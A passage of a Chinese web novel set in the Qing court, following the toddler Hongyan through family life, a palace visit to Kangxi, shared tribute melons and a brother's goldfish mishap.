弘晏听罢,有模有样的撸起了袖子,可他一个一岁多的小奶娃哪里有什么力气,王乳娘便默默的出力,秋千才成功的荡起来。 弘晏歪着小脑袋问道:“嘿嘿,额凉害怕吗?” 秋千荡起来,乌拉那拉氏整个人好似回到了年轻的时候,朗声道:“额娘才不怕,福宝大可用力推。” 福宝挥了挥小肉胳膊:“好啊,窝要发力了。” 而胤禛一踏进正院,便听见了欢声笑语,好奇心的驱使下,胤禛抬了抬手,示意院子里的丫鬟太监噤声,自己则放轻了脚步。 不承想,映入胤禛眼帘的是秋千座椅上笑得明媚张扬的福晋。 他好久没有瞧见这般鲜活的福晋了。 弘晏发现了一旁偷窥的胤禛,刚要说话,就被胤禛摇头示意,弘晏便配合的闭上了小嘴。 乌拉那拉氏沉浸在荡秋千的快乐中,并不知道身后多了一个人,只是见秋千的速度慢慢降下来,便出声问道:“福宝,怎么不推了,是没有力气了吗?” 弘晏一听这话,立马反驳道:“窝当然有。” 而胤禛朝着弘晏比了一个噤声的手势,大步一迈,推起了秋千。 弘晏明白了便宜阿玛的心思,悄悄的 后退到一旁。 而秋千座椅上的乌拉那拉氏却发觉了不对,从她后背传递来的力量稳且快,这人不可能是弘晏,更不像王乳娘。 乌拉那拉氏带着疑问扭头,却正好与胤禛的视线相对。 乌拉那拉氏一惊,赶忙将抬起的腿放在地上,用脚上的花盆底刹住了秋千,而后下了秋千座椅,嗔道:“爷何时来的,不让下人通传,是故意瞧我的笑话。” 胤禛却笑了:“爷瞧福晋玩在兴头上,不忍心打扰。” 乌拉那拉氏一抬眸,便撞进了胤禛那含情脉脉如碧波春水般荡漾的眼睛里。 乌拉那拉氏眼睫一闪,慌忙移开视线,却瞧见了弘晏在偷笑。 乌拉那拉氏撇了撇嘴:“小没良心的,额娘命人给你做秋千,你却伙同你阿玛一起笑话我。” 弘晏却笑嘻嘻的问道:“额凉,泥脸好红,是害羞了?” 乌拉那拉氏一怔。 怪不得她觉得脸好热。 当着父子俩并奴才们的面,乌拉那拉氏强壮镇定道:“才没有,额娘是玩秋千累的,出的汗。” 弘晏意味深长的“哦”了一声,转而看向了胤禛。 这就是心机boy想要的效果吗? 果然是闷骚型的便宜阿玛。 而乌拉那拉氏装模做样的擦了擦脸上并不存在的汗珠,随即迈着步子往屋子里去了。 胤禛勾了勾嘴角,俯身抱起了弘晏抬步往屋子去。 待胤禛抱着弘晏进了屋内,乌拉那拉氏已然端坐在檀木小榻上喝起了凉茶。 半碗凉茶下肚,乌拉那拉氏顿觉清凉了不少。 胤禛则抱着弘晏自顾自的坐在了小榻的另一端,流萤又端着托盘过来,将一碗凉茶并一碗牛乳放在了小榻的矮桌上。 弘晏看着胤禛面前的凉茶,很是眼馋,舔了舔嘴巴,而胤禛却无情的端起凉茶一饮而尽。 弘晏鼓了鼓嘴,转而端起牛乳咕咚咕咚大口喝起来。 到了用晚膳的时候,胤禛时不时的往乌拉那拉氏的碟子里夹菜,惹得乌拉那拉氏嗔了胤禛好几眼。 胤禛却勾了勾嘴角,一幅颇为享受的模样。 而将这一切收入眼底的弘晏,却暗暗咂舌。 明明是玉兔精,却非要吃狗粮。 当着弘晏的面,胤禛还是收敛了几分,饮了口羹汤,转而说起了正经事儿。 如今弘晏身上的红疹子已然痊愈了,明日该带着弘晏进宫去,一来是请安,二来是谢恩。 弘晏听到便宜阿玛的话,很是赞同,就冲着康熙赏赐他大金锁,给他撑腰,他也应该去谢谢他老人家。 乌拉那拉氏听罢,自然也是认同的。 话题结束,干饭继续。 待吃饱喝足后,弘晏很识相的去了耳房逗蝈蝈玩儿,将空间留给了便宜阿玛和额娘。 第36章 第36章最靓的崽 翌日一早,弘晏从耳房的拔步床上醒来,一骨碌翻身坐起来,便唤王乳娘进来。 待洗漱完毕之后,弘晏出了耳房,顺着廊沿到了正屋外,如今正屋的房门还紧闭着。 王乳娘刚要说话,流萤便迈步过来,屈膝对着弘晏说道:“六阿哥,王爷与福晋还睡着呢。” 昨晚上她守夜,王爷可是让抬了两回水呢。 王乳娘听罢,笑呵呵的说道:“六阿哥,奴婢抱您先去用早膳吧。” 流萤也跟着劝道:“乳娘说的是,待王爷与福晋醒了,奴婢便告诉阿哥。” 弘晏先是点了点头,待王乳娘与流萤都松了一口气时,弘晏却突然跑到窗户下,扯着嗓子喊道:“阿玛,额凉,太阳晒屁股啦!” 王乳娘/流萤:!!! 正院里的奴才们知晓主子们还未起身,是以,一举一动都格外的轻,生怕惊着了主子。 因着院子里安静,弘晏的喊叫声格外刺耳,负责洒扫的奴才们瞧见了,虽然好奇但却不敢抬头看热闹,只敢竖着耳朵偷听。 王乳娘与流萤二人面面相觑,可又不敢捂了小主子的嘴,只能在旁央求。 弘晏依然旁若无人的喊着。 昨晚上吃饭的时候,便宜阿玛说好了要带他进宫看汗玛法的,今早他都没有赖床,便宜阿玛却睡懒觉。 他当然不允许!!! 门“咯吱”一声响了,胤禛走了出来,身上穿着一件长衫,睡眼惺忪。 王乳娘与流萤虽然离胤禛有一段距离,但能清晰的感觉到胤禛的脸色不大好看。 不过,这事儿换了谁,谁都会脸色不好。 而站在窗户前的弘晏听到动静,自然也就不喊了,转而气势汹汹的朝着胤禛的方向走过去。 王乳娘与流萤只能硬着头皮跟上去。 院子里负责洒扫的奴才们,也不敢再偷听了,专心的干着自己的活计,生怕自己被心情不好的主子当出气筒。 而弘晏到了胤禛面前,还未开口控诉,就被胤禛拎小鸡崽似的拎进了屋子。 同时,胤禛的脚朝着门框一踢,门“啪叽”一声,又阖上了,将王乳娘与流萤关在门外。 王乳娘与流萤相视一眼,王爷看来是生了大气了,六阿哥该不会挨打吧。 两人不禁都为弘晏捏了把汗。 而屋子里,胤禛把弘晏的鞋一脱,直接将人丢在了拔步床上。 弘晏闷哼一声。 因为他是头朝下,屁股朝上,像乌龟似的趴进了松软的被子里。 乌拉那拉氏抬眸嗔了胤禛一眼,转而将弘晏抱起来。 弘晏直接窝进了乌拉那拉氏怀里,瘪着嘴巴委屈起来:“额凉,痛痛。” 胤禛:“……” 他都没用力。 乌拉那拉氏柔声问道:“哪里痛,额娘给揉揉。” 弘晏抬起手指,指向了自己雪白光滑的鼻子。 胤禛无语凝噎。 看着一大清早搅了他好梦,如今还撒娇耍赖的小家伙,胤禛揉了揉眉心。 “咳,咳。” 弘晏忽然咳嗽起来。 乌拉那拉氏见状,抬手给弘晏顺气,胤禛则快速迈步出去,再回来时手里端了一碗热牛乳。 热牛乳喂到嘴边,弘晏却有骨气的扭过了脸。 胤禛眉头一挑,他还没生气,这小家伙还记起仇来了。 胤禛坐在床沿,看着弘晏说道:“在外喊了那么久,肚子里吸进了多少冷风,不喝牛乳,是想喝苦药汤?” 苦药汤? 他才不要! 识时务者为俊杰,弘晏立马端过牛乳大口喝起来,热牛乳下肚,弘晏的嗓子舒服多了。 胤禛一只手接过空碗,另一只手拿着帕子给弘晏擦嘴唇上的奶渍:“放心吧,误不了进宫的时辰。” 弘晏一愣,便宜阿玛竟然知道他的心思。 乌拉那拉氏与胤禛收拾妥当,便带着弘晏用早膳。 方才一碗热牛乳下了肚,弘晏已经有六七分饱了,只吃了小半块枣糕和半个梅花包子便停下了。 临出门之前,弘晏恍然想起什么,对着乌拉那拉氏说道:“额凉,金锁,窝滴金锁。” 乌拉那拉氏微微一愣,随即猜测着弘晏的想法:“福宝是想带着金锁进宫去吗?” 弘晏笑呵呵的点了点头。 乌拉那拉氏迟疑的看向了一旁的胤禛。 这会不会太张扬了些? 弘晏见乌拉那拉氏犹豫起来,扒拉着乌拉那拉氏的袖子喊道:“额凉,窝要戴金锁,给玛法看。” 当初康熙特意派了魏珠来雍亲王府送长命锁,不就是给别人瞧的嘛。 难道他不戴长命锁进宫,旁人就不知晓他进宫的意图了嘛。 御赐的长命锁为什么要让它锁在盒子里不见天日,他偏要大张旗鼓的戴出去。 胤禛沉思过后,觉得让弘晏戴着进宫也无妨,与其藏着掖着,不如大大方方的摆到明面上来。 乌拉那拉氏见胤禛点了头,便叫流萤将檀木匣子拿出来。 弘晏的贵重之物,都被乌拉那拉氏归置在了一处。 如今,流萤把檀木匣子打开,弘瞧着满满当当一匣子的好东西,眼睛直接亮了起来。 芜湖,原来他小小年纪就这么富有了! 最后,在弘晏的要求下,乌拉 那拉氏不仅给弘晏戴上了足金的长命锁,还在腰带的两侧分别系上了玉佩。 左边那块是胤禛送给弘晏的小兔玉佩,右边那块是年侧福晋之前送给弘晏的麒麟玉佩。 如今,弘晏迈着步子走几下,浑身传出的都是金玉相击的玎玲声。 弘晏挥手和乌拉那拉氏拜拜之后,就被胤禛抱着出了正院,坐上马车往皇宫去。 青石路上,跟在胤禛与弘晏乘坐的紫檀木雕花马车的后面,还有一辆较小的马车,那马车里坐的正是许太医。 弘晏病愈,被康熙派去雍亲王府的许太医也可以回宫复命了。 这几日在雍亲王府中,许太医被胤禛安排在了柳从南居住的院子里。 柳从南的院子内,除了一间就寝的内室与待客的正厅之外,其余的屋子都变成了医书房、药库和制药房,院子里的木架上晒的都是草药,甚至还劈出了一块空地种上了草药。 而许太医当初拎着药箱一迈进去,就眼前一亮,十分喜欢这院子的氛围和布局安排,这简直就是他理想中的宅院。 自此,许太医与柳从南经常切磋医术,共同专研古药古方,二人已经结下了深厚的友谊,如今一走,许太医竟还有些舍不得。 而坐在前面马车里的弘晏却十分兴奋,一会儿掀开帘子瞧瞧外面,一会儿伸着小胖手转转胤禛拇指上的玉扳指,或者是爬到胤禛的身上,皮皮的喊上一声:“阿玛。” 对着软糯糯的儿子,胤禛哪里发得起脾气来,只得由了弘晏。 待马车到了皇宫门外,胤禛下了马车便抱着弘晏往乾清宫去,而许太医给胤禛见礼之后,自回太医院去了。 趴在胤禛肩上的弘晏,发觉路上的宫女、太监都在盯着他瞧,弘晏当即勾了勾嘴角。 没错,他就是紫禁城最靓的崽! 乾清宫内的康熙,穿着一身明黄色的龙袍,正端坐在御案上批阅奏折,听得魏珠禀报说雍亲王带着六阿哥来请安之后,康熙脸上的神情柔和了不少。 康熙将奏折一合,放在叠的高高一摞的奏折堆上,言道:“传。” 少顷,康熙便见一大一小两个人影走进来了。 胤禛规矩的打千儿道:“儿臣给汗阿玛请安。” 而弘晏笑嘻嘻的将两只小手放在胸前,作揖道:“嘿嘿,给皇玛法请安。” 康熙一下子就被弘晏胸前挂着的那块长命锁,吸引了注意力。 这正是他先前赏下的。 康熙直接忽略了胤禛,朝着弘晏招手道:“小福宝,到皇玛法这里来。” 弘晏脆生生的应了一声,便迈起小步子往御案的方向走去,这短短的路程,只听得“玎玲”“玎玲”的响声。 待弘晏到了面前,康熙视线下移,才发现弘晏腰间还挂着两块玉佩。 这玉佩一只小兔样式,一只麒麟样式,倒是衬得小主人可爱的紧。 弘晏见康熙光盯着自己看却不言语,疑惑的眨了眨眼睛:“皇玛法?” 康熙思绪回笼,笑道:“小福宝,今日瞧着可像是特意打扮了一番。” 跟个一岁多的孩子说话,康熙自然是怎么直白怎么来。 弘晏一听这话,对着康熙绽放了一个甜甜的笑容:“嘿嘿,为了见皇玛法啊。” “哦?哈哈哈。” 听了弘晏的回答,康熙爽朗一笑,紧接着将弘晏抱坐在自己的膝头,转而撸起弘晏的袖子,检查起弘晏的小肉胳膊来。 站立于堂前的胤禛见状,出声禀道:“汗阿玛,弘晏的红疹子已然痊愈,一点儿痕迹都没有留下。” 康熙听罢胤禛的话,又瞧着弘晏白嫩的小胳膊,放心的应了一声,随后将弘晏的袖子放下了。 康熙抬眸吩咐道:“梁九功,切一盘哈蜜瓜来。” 哈密瓜是哈密王命人一路上快马加鞭送来的贡品,昨日方才抵达京城又送进皇宫里来。 梁九功应声后,自有御前的小太监去做,不一会儿,一盘子切成麻将块大小的哈密瓜就端上了御案。 因着弘晏过敏刚好,康熙先是拿着银签子扎起一块哈密瓜,就让弘晏咬了一小口哈密瓜,便不让弘晏再吃了。 弘晏知晓康熙是要验证自己对哈密瓜是否过敏,可是等待的时间对于他来说太过于漫长。 尤其是他方才就咬了一小口哈密瓜,还没有品出味道呢,就咽到了嗓子里。 如今,哈密瓜近在眼前却不能吃,真是太折磨人了。 约摸过了一盏茶的时间,康熙见弘晏没有不良反应,便安了心。 这厢,弘晏已然馋的不行,刚听到康熙松了口,便两只手并用抓起盘子里的一块哈密瓜就喂进了嘴里。 又甜又脆,真好吃! 康熙见弘晏吃起东西来,腮帮子鼓鼓囊囊的跟个小仓鼠似的,不禁笑道:“慢慢吃,这一盘子都是你的。” 方才,让一个一岁多的孩子只能看不能吃,确实有些残忍了。 弘晏一听,将嘴里的哈密瓜咽下,抬头看向康熙,问道:“真的?” 弘晏吃的嘴上都是哈密瓜的汁水,康熙拿起帕子边给弘晏擦嘴,边说道:“皇玛法一言九鼎,自然是真的了。” 弘晏黑葡萄般的大眼睛闪了闪,笑嘿嘿的比划道:“皇玛法,那窝想要好多好多瓜瓜。” 胤禛见状,假意训斥道:“弘晏。” 康熙抬了一下手,言道:“无妨。” 胤禛噤了声。 康熙看向弘晏时,目光又变得慈爱:“小福宝,要那么多哈密瓜,吃得完吗?” 第37章 第37章满载而归 弘晏听罢,眨了眨乌黑的眼睛,一本正经的回答道:“带回去,给额凉,锅锅。” 康熙闻言,望了一眼胤禛,起了逗弘晏的兴致:“小福宝,不给你阿玛吗?” 聪明如弘晏当然瞧得出来,便宜阿玛刚才是故意演戏给康熙看的,既然便宜阿玛戏演的那么好,他当然要配合着演完了。 毕竟,刚才便宜阿玛突然一声喊,真的吓到他了。 他可是记仇的小玉兔! 在康熙期待的目光中,弘晏撅起嘴巴,像个小河豚一样气鼓鼓的说道:“阿玛凶凶,不给阿玛。” 康熙听了这回答,笑得更加开怀:“哈哈哈。” 他早有耳闻老四对自己的几个儿子要求严格,是以,老四府里的几个孩子都害怕他。 如今,倒是来了一个胆大的,老四也有被自己儿子当面嫌弃的时候。 真是稀奇。 胤禛:“……” 听,是老父亲心碎的声音。 他又被小奶团子嫌弃了。 方才,他不过是沉声喊了一句“弘晏”,这就叫凶了吗? 不过,汗阿玛笑得是不是太开心了! 笑过之后,康熙吩咐梁九功给雍亲王府送一筐哈密瓜。 弘晏听罢,笑哈哈的冲着康熙喊道:“皇玛法最好了,喜欢玛法。” 康熙勾起食指轻轻刮了下弘晏的鼻尖:“哦?那皇玛法不给你哈蜜瓜,是不是就不喜欢皇玛法了?” 含饴弄孙之乐,确实是人间一大美事。 弘晏歪了歪小脑袋,忽闪着眼睛说道:“喜欢皇玛法,有瓜瓜吃更喜欢。” “皇玛法也喜欢小福宝,来,再吃一块。”康熙说着,又喂给了弘晏一块哈密瓜。 这小家伙,着实机灵。 少顷,魏珠抬步进门,弓身禀报道:“皇上,大臣们在殿外侯着了。” 康熙应了一声,拿了块温热的帕子细心的给弘晏擦干净嘴巴和手指之后,才不舍的让胤禛带弘晏下去。 重新回到胤禛怀抱里的弘晏,抬起小手和康熙再见:“皇玛法,挥挥。” 这厢,胤禛抱着弘晏出了乾清宫的门后,正好和外面侯着的大臣们打了个照面。 大臣们齐刷刷的给胤禛请过安后,视线不约而同的落在了胤禛怀里的弘晏身上,并且神情复杂的注视着父子二人走远。 一向低调内敛的雍亲王,新得的小阿哥却身着耀眼的如意云纹大红色锦袍,在长命锁与和田玉的加持下,更像个披金戴银的……小纨 绔? 而且,隔着一道门,虽听不清里面说了些什么,但殿内欢声笑语的,不难看出皇上还挺喜欢这个弘晏小阿哥的。 正当众大臣费解之时,魏珠从殿内走了出来:“诸位大人,皇上召见。” —— 另一边,胤禛抱着弘晏去了永和宫。 既然进了宫,于情于理,都该去永和宫走一趟。 殿内,小榻上的德妃瞧见了弘晏胸前挂着的那金灿灿镶嵌着红宝石的长命锁,即觉得晃眼又感到气闷,偏偏面上还得笑眯眯的,不能表现出自己的烦躁。 而弘晏知晓德妃偏心,如今只乖乖的坐在胤禛的大腿上,低头摆弄着自己的小兔玉佩,一句话也不说。 胤禛对着德妃,更是连场面话都懒得说了,一双眼睛只关注着弘晏的动向。 祖孙三人坐在一起,却鸦雀无声。 约摸过了一盏茶的功夫,德妃送给了弘晏一个蜜蜡十八子手串,便扶了扶脑袋,说自己乏了,要小憩片刻。 胤禛听了这话,自是立马带着弘晏离开了永和宫。 待胤禛父子二人的身影消失在德妃的视线内,德妃的眸子又恢复了原来的光彩,哪里还有半分疲倦的模样。 弘晏在永和宫过敏在前,康熙赏赐长命锁在后,她作为弘晏的玛嬷,就算心里不愿,但又怎么能一点儿表示也没有。 长街上,弘晏拿着蜜蜡十八子手串,笑得眼睛眯成了一条缝,这次进宫可谓是满载而归呢。 只是等弘晏上了马车,就叫嚷着让胤禛把身上的长命锁和玉佩取下来。 他这打扮虽然靓丽吸睛,但佩戴了这么久,对于他的小身板来说,着实有些沉重了。 待胤禛将长命锁和玉佩取下来之后,弘晏顿觉身上轻松了不少,整个人就像孙猴子离开五指山那么快乐。 以后出门,还是简简单单的好。 道路通畅,马车行驶的很稳,本就早起的弘晏在皇宫又费了不少精神,如今低着小脑袋已然昏昏欲睡了。 一旁的胤禛见状,便把弘晏抱进了怀里。 弘晏的小脑袋靠着胤禛宽阔坚实的胸膛,很快沉沉睡去,眼睑下那浓密乌黑小扇子似的羽睫,落在粉嫩的小脸蛋儿上。 不久,马车稳稳停在了雍亲府门前,胤禛抱着弘晏下了马车,径直往正院去。 乌拉那拉氏得了信儿,踩着花盆底迎了出去,一眼就注意到了胤禛怀里熟睡的小人儿。 乌拉那拉氏柔柔一笑,小心翼翼的伸手接过了胤禛怀里的弘晏,便往屋里走去。 弘晏许是感觉到了自己所处的位置发生了变化,“吧唧”了一下嘴巴,但并没有醒。 待乌拉那拉氏安置好弘晏,从内室里走出来时,外间已然多了一筐格外显眼的哈密瓜。 从胤禛嘴里得知这筐哈密瓜是弘晏自己挣出来的以后,乌拉那拉氏便吩咐人先将这筐哈密瓜抬到冰窖里去,等弘晏睡醒了再说。 胤禛在正院喝了盏茶,便起身去了前院处理公务。 而弘晏睡醒后,正好到了用午膳的时候了。 弘晏睁开眼睛,发现自己身在正院之后,便冲着门外喊了一声:“额凉。” 待乌拉那拉氏进来以后,弘晏第一句话便是问他的长命锁、和田玉佩还有刚挣回来的蜜蜡十八子手串去哪了。 乌拉那拉氏笑道:“放心,额娘都给你收好锁起来了。” 弘晏“哦”了一声。 这些可都是他的家当,一个都不能丢的。 收拾妥当,乌拉那拉氏抱着弘晏去外间用午膳。 瞧着满桌的美味佳肴,弘晏胃口大开,吃得饱饱的以后,弘晏摸了摸自己圆滚滚的肚子,打了一个饱嗝。 也就是在这时,弘晏才知道皇玛法赏赐给他的一筐子哈密瓜,已然储藏在冰窖里了。 弘晏便让乌拉那拉氏命人将哈密瓜从冰窖里抬出来。 一整个哈密瓜呈椭圆形,像一个穿了网纹麻纱的大不倒翁似的。 在入冰窖前,乌拉那拉氏已然让人清点了数量,这一筐一共有十个哈密瓜。 小榻上的弘晏望着一筐哈密瓜,沉思片刻,便开始指挥分配了。 两个哈密瓜送去前院,一个给便宜阿玛,另一个给弘时。 内院的话,年侧福晋一个,钮祜禄格格母子一个,耿格格母子一个,再拿出一个哈密瓜切开来,分给在正院伺候的奴才们。 还剩下四个哈密瓜,就是他和额娘的了。 弘晏本来想让人将三个哈密瓜还放进冰窖里储藏,留下一个哈密瓜切开,他与额娘吃正好。 可是乌拉那拉氏记得胤禛说过,弘晏在皇宫已然吃过哈密瓜了,今天便不许弘晏再吃,索性让人将剩余的四个哈密瓜都放进冰窖里去。 弘晏见状,摇着乌拉那拉氏的袖子说道:“瓜瓜好吃,额凉吃。” 到时候切了一盘子哈密瓜,额娘一个人肯定吃不完,自己当然要挺身而出,帮额娘解决喽。 乌拉那拉氏如何不明白弘晏的小心思,笑道:“哈密瓜又不会长腿儿跑了,额娘明天吃也成。” 弘晏的计划失败,瘪了瘪嘴巴。 流萤等人知晓乌拉那拉氏是怕弘晏吃多了闹肚子,于是,等哈密瓜切好后,为了不让弘晏看见勾起馋虫来,流萤等人很贴心的都跑到院子里吃去了。 正院的奴才们有一个算一个,全都吃上了香甜多汁的哈密瓜。 一口咬下去,那甘甜的汁水直接顺着嗓子眼儿甜到心里去了。 若不是六阿哥,他们哪里能有福气,一尝贡品的滋味呢。 不过一会儿子的功夫,送到前院的哈密瓜,就被完好无损的送了回来。 弘晏不解的望向了银烛。 银烛解释道:“三阿哥说,他额娘犯了错,他没脸吃六阿哥您送去的哈密瓜。” 弘晏听罢,倒是觉得弘时虽然憨憨的,但是本性还是好的。 既然弘时不要,弘晏便让银烛还将哈密瓜送到冰窖储藏着,等他明天再吃。 乌拉那拉氏更是意外,她还以为弘晏会借机央求自己,同意他吃哈密瓜呢。 “福宝真棒,额娘让人给你做杏仁酪吃,好不好?”乌拉那拉氏摸了摸弘晏光秃秃的小脑袋说道。 弘晏笑呵呵的说道:“好。” 随后,弘晏又猛然想起什么,吩咐王乳娘将挨着哈密瓜果皮的果肉碎屑,喂些给绿牙和褐风吃。 乌拉那拉见状,欣慰中带着一丝诧异。 小奶团子小小年纪,竟然将方方面面都顾及到了。 —— 黄昏时分,落日熔金。 弘晏正坐在小榻上,聚精会神的听着乌拉那拉氏讲故事。 少顷,便见银烛迈步进来,行至乌拉那拉氏面前,禀报了最新的消息。 原来是一刻钟前,胤禛在前院书房考问了三阿哥弘时的功课,弘时背得流利,胤禛很是高兴,弘时便趁机求胤禛开恩,赦免李侧福晋的禁足。 胤禛听完后,脸上的神情立马晴转阴,呵斥了弘时一顿不说,还罚了弘时抄书。 这厢,银烛讲完了以后,弘晏用脚指头想,都能猜到这肯定是李侧福晋的主意。 弘时连自己送的哈密瓜,都不好意思收下,哪里会有胆子主动央求胤禛呢。 李侧福晋定然是想着如今自己的过敏已然痊愈,又因祸得福入了康熙的眼,她也受罚多日,这件事情怎么也该翻篇了。 可她自己尚在禁足中,又见不到胤禛,便只能让人给弘时带话,只要弘时书背的好,说不定胤禛一高兴,就看在弘时的面子上,金口一开,解了她的禁足呢。 不得不说,李侧福晋的思路是对的,只可惜,便宜阿玛的心思,哪里是那么好左右的。 再说了,只要是明眼人,都能明白是怎么回事,李侧福晋这一招可谓是偷鸡不成蚀把米。 短时间内,不仅解不了自己的禁足,还连累了弘时在便宜阿玛心中的形象。 而乌拉那拉氏明白了事情的来龙去脉,勾了勾唇:“李氏自作聪明也不是一两日了,随她去吧。” 银烛闻言,眉间却浮现出担忧之色:“福晋,一次也就罢了,若是三阿哥再央求几次,王爷看在父子情面上,说不定就饶了李侧福晋呢?” 乌拉那拉氏听罢,却笑了:“李氏又没有犯十恶不赦的大罪,禁足于她而言 ,只是时间长短而已,来日就算爷解了她的禁,她若再生事端,我还治不了她不成?” 银烛听罢,才恍然觉得自己多虑了。 第38章 第38章胆大妄为 夏树苍翠,蝉鸣阵阵。 正院里,弘晏坐在紫檀木小榻上,边晃悠着小短腿,边美滋滋的吃着哈密瓜。 哈密瓜在冰窖里放了一晚,口感更佳,只是乌拉那拉氏怕他肠胃娇嫩,贪凉多吃会闹肚子,于是哈密瓜切好后,可是放了一盏茶的功夫,才让人端上进来,而且嘱咐弘晏只能吃两块。 弘晏手里的这块,正好是第二块哈密瓜了。 就算是弘晏不舍得一口吞下,只小口小口的慢品,这第二块哈密瓜终究是进了肚子里了。 弘晏舔了舔嘴唇,又偷瞄了一眼身旁的乌拉那拉氏,见乌拉那拉氏没有盯着自己看,便将小胖手伸了出去。 就在弘晏的小胖手马上要拿到盘子里切成麻将块的哈密瓜的时候,一道清亮的声音响起了:“弘晏?” 乌拉那拉氏没有称呼自己为“福宝”,而是喊了大名“弘晏”,可见其态度的严肃。 弘晏无奈收回了手,转而抬眸给乌拉那拉氏展现了一个可怜兮兮的眼神。 乌拉那拉氏见状,和弘晏讲起道理来:“福宝,方才你可是答应额娘了,只吃两块的,莫不是自己说过的话都不记得了?” 弘晏嘟着小嘴,没有说话。 记得是记得,可是他还是想吃嘛! 乌拉那拉氏瞧着弘晏委屈巴巴的模样,生怕自己心软,就吩咐流萤将那碟子哈密瓜撤下去。 瞧不见了,自然也就不想了。 流萤同情了弘晏一秒后,抬步过去,伸手要端起那白瓷碟子。 就在这时,弘晏突然“啊”了一声。 乌拉那拉氏和流萤下意识的望向了弘晏,而弘晏的手指向了一旁,声音带着颤抖:“虫,虫。” 听了这话,乌拉那拉氏和流萤的齐刷刷扭头看去,而弘晏以迅雷不及掩耳之势,从盘子里拿起一块哈密瓜塞进了嘴里。 待乌拉那拉氏和流萤反应过来上当以后,弘晏的嘴巴塞得鼓鼓囊囊的,正满脸享受的咀嚼着哈密瓜。 那哈密瓜的汁水,更是从弘晏的嘴角流了出来。 这来之不易的第三块哈密瓜,吃着就是格外香甜! 瞧着乌拉那拉氏有些不高兴,弘晏眨巴着眼睛,给对面的乌拉那拉氏卖了一个萌。 乌拉那拉氏又气又无奈,抬眸给了流萤一个眼神。 流萤立马将那盛着哈密瓜的白瓷碟子撤了下去。 他们阿哥小小年纪,心眼子就这么多了。 弘晏吃完了第三块哈密瓜,瞧着乌拉那拉氏什么也没说,好似是生气了,便手脚并用的从炕桌上爬过去,而后扑到乌拉那拉氏身上,用小脑袋蹭着乌拉那拉氏胸前的衣襟,撒娇卖萌的喊着:“额凉,额凉。” 面前软萌的小娃娃忽闪着明亮的大眼睛,再用小奶音一声声唤着“额凉”,乌拉那拉氏哪里还生得起气来,无奈又宠溺的食指点了点弘晏的额头:“你呀。” 弘晏见乌拉那拉氏唇角微扬,便知乌拉那拉氏已经不生气了,笑眯眯的拉着乌拉那拉的袖子喊道:“嘿嘿,额凉~” 乌拉那拉氏猛然想起什么,望了一眼弘晏那因沾了哈密瓜汁水而黏糊的手指,其实是有些嫌弃的,但又不好直接表露出来,免得弘晏伤心,便吩咐流萤拿了温热的帕子来,给弘晏擦嘴擦脸。 这时,银烛急匆匆的快步从外面走进来:“福晋,不好了。” 乌拉那拉氏抬眸问道:“发生了何事?” 银烛缓了缓,细细讲来。 原是昨晚胤禛还询问了弘历与弘昼的启蒙情况,弘历的《三字经》背得十分流利,而弘昼却一塌糊涂,为了表扬弘历,同时也为了激励弘昼上进,胤禛便询问弘历想要什么赏赐。 弘历便说出自己想瞧一瞧胤禛养在书房里的虎头金鱼,如果能给虎头金鱼喂食,那就更好了。 这么个简单的要求,胤禛自然满足了。 却不想,今日胤禛下值回了书房时,看到的却是翻白肚的虎头金鱼,而那鱼缸里还漂着馒头的碎屑。 胤禛额头的青筋暴起,一问才知道是弘昼干的好事。 胤禛便叫苏培盛将弘昼拎过来,而弘昼知晓大事不妙,在来前院书房的半道上跑了,还爬上银杏树躲了起来。 待银烛说完,不只是弘晏,连乌拉那拉氏也惊了一惊。 弘昼确实胆大妄为了。 那虎头金鱼是胤禛从内务府的都虞司弄来的,品种珍贵暂且不说,光是胤禛放在书房里亲自养护了一年,就费了不少精力呢。 乌拉那拉氏站起身来,吩咐王乳娘照看好弘晏,便要带着银烛出去。 却不料,乌拉那拉氏的衣裳被弘晏抓住了:“额凉,窝要去。” 这么大的热闹,他怎么能错过呢! 乌拉那拉氏笑着哄道:“福宝乖,外面日头晒,额娘一会儿就回来了。” 弘晏却不依,鼓着嘴嚷道:“额凉,要去,窝要去。” 乌拉那拉氏拗不过弘晏,只好抱着弘晏一起去了。 还没走近,弘晏已然瞧见了一幅十分壮观的景象——树上的弘昼,跪在地上的耿格格,站在一旁的钮祜禄格格和弘历以及脸色如锅底一般黑的胤禛。 弘历站在胤禛身旁,低着小脑袋缓缓开了口:“阿玛,你罚我吧,我也有错,是我带着弟弟一起喂虎头金鱼的,弟弟要给虎头金鱼喂馒头吃,我因为好奇,就跟着一起喂了。” 弘昼想跟他一起喂鱼,是他亲口答应的,原本他是给虎头金鱼喂鱼食的,弘昼突然问他虎头金鱼吃不吃馒头,这个问题超出了他的能力之内,他也不清楚。 弘昼说试试就知道了,他因为好奇虎头金鱼吃不吃馒头,就跟着弘昼一起将外面的小太监支开了,将大馒头掰开喂虎头金鱼吃,然后虎头金鱼翻白眼不动了,他才知道虎头金鱼/死了,应该是被撑/死的吧。 弘昼有错,他也有,该向阿玛承认错误的。 瞧着乖巧懂事的弘历,胤禛心中的火气消了不少,抬手摸了摸弘历的小脑袋,吩咐钮祜禄格格先将弘历带回去。 他清楚的很,弘昼这个皮猴子才是主谋。 钮祜禄格格明白胤禛的意思是不追究弘历的责任了,但是眼下这个局势,钮祜禄格格也知晓是万不能撇下耿格格母子不管,带着弘历躲清净的。 钮祜禄格格声音柔柔的开了口:“王爷,五阿哥也不是存心这么做的,您消消气,还是先将五阿哥救下来吧。” 胤禛生气是真,但府里就这么几个孩子,若是弘昼从树上摔下来有个好歹,届时,只怕胤禛后悔都来不及。 钮祜禄格格声音落下,跪在地上的耿格格跟着央求道:“王爷,是妾身没有管教好弘昼,您要罚就罚妾身吧。” 耿格格说完,又抬眸对着坐在树枝上的弘昼说道:“弘昼,快下来,向你阿玛请罪。” 弘昼望着长立在青石路上的胤禛,哼哼道:”我下去也可以,但阿玛你不能揍我,打我屁股。” 胤禛眉头紧锁,喝道:“来人,上树,给我把弘昼抓下来。” 三岁的小娃娃,喂/死了他的虎头金鱼,还敢跟他谈条件。 苏培盛闻言,有些迟疑。 而树上的弘昼听罢,立马接茬道:“阿玛,你让人上来,我就跳下去。” 还敢威胁他? 胤禛火冒三丈:“好哇,爷倒要瞧瞧,你怎么跳下来。” 随后,胤禛又命令道:“苏培盛,愣着做什么!” 耿格格见状,双手扯着胤禛的衣角,眼眶已然红了,哽咽道:“王爷,求您开恩啊。” 弘昼见胤禛来真格的,有些慌了:“阿玛,我真的跳了。” 耿格格闻言,扭脸喊道:“不能跳,弘昼,不能。” 树那么高,弘昼要是跳下来,岂不是…… 耿格格不敢想下去。 